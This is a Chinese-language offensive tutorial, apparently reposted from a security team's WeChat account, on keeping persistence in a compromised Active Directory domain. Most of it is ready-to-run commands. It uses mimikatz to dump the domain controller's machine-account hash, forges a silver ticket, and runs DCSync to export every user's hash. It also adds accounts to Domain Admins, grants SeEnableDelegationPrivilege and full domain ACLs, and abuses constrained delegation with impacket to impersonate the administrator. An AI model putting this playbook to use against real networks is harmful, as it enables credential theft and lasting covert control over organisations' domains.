利用域控机器账户进行DCSync权限维持

admin 2024年5月24日13:14:24评论6 views字数 5277阅读17分35秒阅读模式

“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”

01

简述

MachineAccount既是机器账号,每台计算机在安装系统后默认生成的计算机名。

计算机账户的秘密存储在注册表中的位置:

HKEY_LOCAL_MACHINESECURITYPolicySecrets$machine.ACC# 该注册表键路径只能在 SYSTEM 权限下访问

如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的 NTDS.dit 活动目录数据库文件中。计算机帐户的密码默认每 30 天自动更新,密码长度为 120 个字符,所以几乎无法还原出计算机帐户的明文口令。

要使用机器账户实现 DCSync,首先要做的就是获取机器账户身份的权限,然后再利用机器账户的身份进行 DCSync 操作。

在获取到域控权限之后,使用机器账号进行做一个权限维持的操作

02
获取 MachineAccount的密码哈希

在域控上使用mimikatz通过注册表文件导出当前计算机账户的密码哈希:

privilege::debugtoken::elevatelsadump::secretsmimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"

利用域控机器账户进行DCSync权限维持

获取以下信息:

Domain SID:S-1-5-21-2753149068-621323051-1466803448MachineAccount Hash:96e4a4c9c1e0e84ec8cf062e49711345
03

使用 MachineAccount 密码哈希进行DCSync

有了机器账号的密码哈希后,我们需要想办法登录到这个机器账号,由于无法破解哈希,我们可以使用白银票据的方法。

利用方式如下:

mimikatz "kerberos::golden /domain:hacker.com /sid:S-1-5-21-2753149068-621323051-1466803448 /target:dc1.hacker.com /service:LDAP /rc4:96e4a4c9c1e0e84ec8cf062e49711345 /user:krbtgt /ptt" "lsadump::dcsync /domain:hacker.com /all /csv" exit

利用域控机器账户进行DCSync权限维持

也可以通过 secretsdump,使用机器账户的哈希从域外的计算机连接至域控制器导出哈希:
python3 secretsdump.py -hashes :96e4a4c9c1e0e84ec8cf062e49711345 hacker/DC1$@192.168.1.2

利用域控机器账户进行DCSync权限维持

04

AddMembers权限

可以将任意用户,组或者计算机添加到目标组里。

如果一个用户对一个组拥有AddMembers权限,那么这个用户就可以将任何用户加入这个组,从而具备这个组的权限。

addmember(bf9679c0-0de6-11d0-a285-00aa003049e2)BLOODHOUND查询语法如下:MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) RETURN p
04

添加AddMembers权限
添加Domain Amins组addmembers权限

利用域控机器账户进行DCSync权限维持

利用域控机器账户进行DCSync权限维持

查询当前域管组

利用域控机器账户进行DCSync权限维持

04

添加域管组
将自己添加进入域管组

利用域控机器账户进行DCSync权限维持

后续就可以拿着这个账号的HASH接管域控了
04

SeEnableDelegationPrivilege权限利用
        3.1、寻找SeEnableDelegationPrivilege

        当获取了一个域用户权限(普通域用户只能进行寻找是否存在这个权限账号),或者域管权限的时候,可以设置一个权限,做一个权限维持

    利用powershell寻找特权账号:

    (思路):

    •使用PowerView(773kb)寻找GPO(Default Domain Controllers Policy)路径(默认:{6AC1786C-016F-11D2-945F-00C04fB984F9})

    •type查看改路径,然后查看SeEnableDelegationPrivilege字段的SID

    •拿到SID之后使用命令将SID转为Username

powershell -exec bypass -command "import-module .powerview.ps1;Get-DomainPolicy -Source DC"type "\hacker.comsysvolhacker.comPolicies{6AC1786C-016F-11D2-945F-00C04fB984F9}MACHINEMicrosoftWindows NTSecEditGptTmpl.inf"powershell -exec bypass -command "import-module .powerview.ps1;'S-1-5-21-2753149068-621323051-1466803448-1104'|Convert-SidToName"

利用域控机器账户进行DCSync权限维持

利用域控机器账户进行DCSync权限维持

利用域控机器账户进行DCSync权限维持

3.2、添加SeEnableDelegationPrivilege权限

查询是否存在SeEnableDelegationPrivilege权限账号后,如果没有目前掌握的账号或者其他账号的时候(**通常查询情况是只BUILTINAdministrators的成员(即Domain Admins/Enterprise Admins/etc)拥有SeEnableDelegationPrivilege权限,普通用户是没有此权限的**),我们拿到域控权限就可以自己添加一个权限来进行做权限维持

这个时候我们已经拿到域控权限了,所以我们可以使用简单的方法实现添加特权

**添加SeEnableDelegationPrivilege特权:

UserRights.psml**

powershell -exec bypass -command "import-module .UserRights.psm1;Grant-UserRight -Account username -Right SeEnableDelegationPrivilege"powershell -exec bypass -command "import-module .UserRights.psm1;Get-AccountsWithUserRight -Right SeEnableDelegationPrivilege"

利用域控机器账户进行DCSync权限维持

添加SPN:  

setspn -s hacker/exchange exchange

利用域控机器账户进行DCSync权限维持

使用PowerView(773KB)添加这个用户对整个域的完全控制权限:

powershell -exec bypass -command "import-module .PowerView.ps1;Add-DomainObjectAcl -TargetIdentity username -PrincipalIdentity username -Rights All"验证是否存在权限:powershell -exec bypass -command "import-module .PowerView.ps1;Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match 'User-SID'} | select objectdn,ActiveDirectoryRights"#这里验证需要设置的用户SID,可以使用type查看GptTmpl.inf文件,因为之前添加了这个权限

利用域控机器账户进行DCSync权限维持

域控更新组策略:  

gpupdate /force

利用域控机器账户进行DCSync权限维持

以上就是将用户添加了SeEnableDelegationPrivilege权限

3.3、利用SeEnableDelegationPrivilege权限做cifs约束委派

查询已有配置了约束委派的机器

powershell -exec bypass -command "import-module .PowerView.ps1;Get-DomainUser –TrustedToAuth -domain domain -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl"

利用域控机器账户进行DCSync权限维持

设置刚刚配置了特权的用户约束委派,配置一个从修改了下特权的用户到域控的约束(cifs)委派

在域用户的机器上使用Microsoft.ActiveDirectory.Management.dll设置

Import-Module .Microsoft.ActiveDirectory.Management.dll$user = Get-ADUser niufurenSet-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/hacker.com")}#先开启委派powershell -exec bypass -command "Import-Module .Microsoft.ActiveDirectory.Management.dll;$user = Get-ADUser username; Set-ADObject $user -Add @{'msDS-AllowedToDelegateTo' = @('krbtgt/hacker.com')}"#再做cifs约束委派powershell -exec bypass -command "Import-Module .Microsoft.ActiveDirectory.Management.dll;$user = Get-ADUser username;Set-ADObject $user -Add @{'msDS-AllowedToDelegateTo' = @('cifs/dc1.hacker.com')}"

利用域控机器账户进行DCSync权限维持

再次验证一下是否成功添加:

利用域控机器账户进行DCSync权限维持

修改用户useraccountcontrol值(使其允许委派)

添加TRUSTED_TO_AUTH_FOR_DELEGATION (16777216)权限

powershell -exec bypass -command "Import-Module .PowerView.ps1;$uname='dc-username';$pwd=ConvertTo-SecureString 'dc-password' -AsPlainText –Force;$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd);$Users=Get-NetUser -Domain 'domain' -DomainController dc-ip -Credential $cred;Set-ADObject -Domain 'domain' -DomainController dc-ip -Credential $cred -SamAccountName attack-username -PropertyName useraccountcontrol -PropertyXorValue number"

利用域控机器账户进行DCSync权限维持

这里可以看见添加了TRUSTED_TO_AUTH_FOR_DELEGATION (16777216)权限了

利用域控机器账户进行DCSync权限维持

到这里就已经做好约束(cifs)委派了:

•exchange域用户到dc1.hacker.com的约束委派

发起s4u2self 和s4u2proxy,模拟administrator 访问dc1.hacker.com

域控导出所有用户hash

mimikatz.exe "lsadump::dcsync /domain:hacker.com /all /csv" exit

利用域控机器账户进行DCSync权限维持

我们将exchange域用户的hash拿出来  

`b9cc6ccdfed86791f1cb66c66114231a`

使用impacket工具进行获取ST

python getST.py hacker.com/one -hashes 8acfa082097b69e5211699cc29eb3209:8acfa082097b69e5211699cc29eb3209 -dc-ip 192.168.1.2 -spn cifs/dc1.hacker.com -impersonate administratorexport KRB5CCNAME=administrator.ccachepython psexec.py hacker.com/administrator@dc1.hacker.com -k -no-pass -dc-ip 192.168.1.2

利用域控机器账户进行DCSync权限维持

利用域控机器账户进行DCSync权限维持

原文始发于微信公众号(A9 Team):利用域控机器账户进行DCSync权限维持

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月24日13:14:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用域控机器账户进行DCSync权限维持http://cn-sec.com/archives/2773189.html

发表评论

匿名网友 填写信息